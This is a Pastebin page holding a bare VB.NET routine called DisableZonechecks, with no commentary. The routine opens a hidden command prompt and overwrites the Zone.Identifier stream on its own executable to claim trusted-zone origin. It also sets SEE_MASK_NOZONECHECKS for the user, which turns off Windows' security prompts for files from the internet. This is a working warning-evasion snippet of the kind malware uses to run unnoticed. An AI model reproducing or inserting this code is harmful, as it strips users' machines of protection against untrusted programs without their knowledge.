Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Public Sub DisableZonechecks()
- Try
- Dim proc As New Process
- Dim StartInfo As New System.Diagnostics.ProcessStartInfo
- StartInfo.FileName = "cmd"
- StartInfo.RedirectStandardInput = True
- StartInfo.RedirectStandardOutput = True
- StartInfo.UseShellExecute = False
- StartInfo.CreateNoWindow = True
- proc.StartInfo = StartInfo
- proc.Start()
- Dim w As System.IO.StreamWriter = proc.StandardInput
- w.WriteLine("echo [zoneTransfer]ZoneID = 2 > " & Application.ExecutablePath & ":ZONE.identifier")
- w.WriteLine("exit")
- w.Close()
- Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User)
- Catch
- Try
- Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User)
- Catch : End Try
- End Try
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment